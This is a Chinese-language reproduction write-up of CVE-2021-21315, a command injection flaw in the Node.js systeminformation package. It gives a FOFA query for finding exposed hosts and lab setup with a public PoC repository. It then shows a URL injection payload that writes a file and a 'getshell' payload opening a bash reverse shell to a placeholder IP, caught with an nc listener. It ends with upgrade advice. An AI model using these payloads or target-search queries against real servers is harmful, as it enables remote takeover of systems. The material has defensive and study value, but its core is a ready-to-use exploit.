漏洞描述:
Node.js-systeminformation是用于获取各种系统信息的Node.JS模块
它包含多种轻量级功能,可以检索详细的硬件和系统相关信息
2021年02月24日,npm团队发布安全公告
Node.js库中的systeminformation软件包中存在一个命令注入漏洞
CVE-2021-21315,其CVSSv3评分为7.8
攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令
最终获取服务器最高权限
漏洞版本
systeminformation< 5.3.1
查看 systeminfomation 版本
在 node_mudules 同级目录下找到 package-lock.json 文件并打开
在里面搜索systeminfomation,可以查看到相应的版本
fofa语法
app=“node_JS-Node.js”
漏洞复现
在linux服务器上先安装node.js
wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz
tar -xvf node-v12.18.4-linux-x64.tar.xz
mv node-v12.18.4-linux-x64 nodejs
sudo mv nodejs/ /usr/local/sbin/
sudo ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
sudo ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/
安装完成后,输入node查看是否可以正常执行。
^c退出
下载使用存在systeminformation漏洞的程序源码
git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
下载完成后
cd CVE-2021-21315-PoC
通过node 起http服务(默认8000端口),如下图表示正确执行。
POC
http://x.x.x.x:8000/api/getServices?name[]=$(echo 's' > test.txt)
查看本地服务器,发现创建了text文件
getshell
http://x.x.x.x:8000/api/getServices?name[]=$(bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1)
使用exp的时候,&需要进行单独url编码,因为这个符号在url里有特殊含义。
nc监听8080端口
执行
修复建议
将 systeminformation 及时升级到 5.3.1 或更高版本
请登录后查看回复内容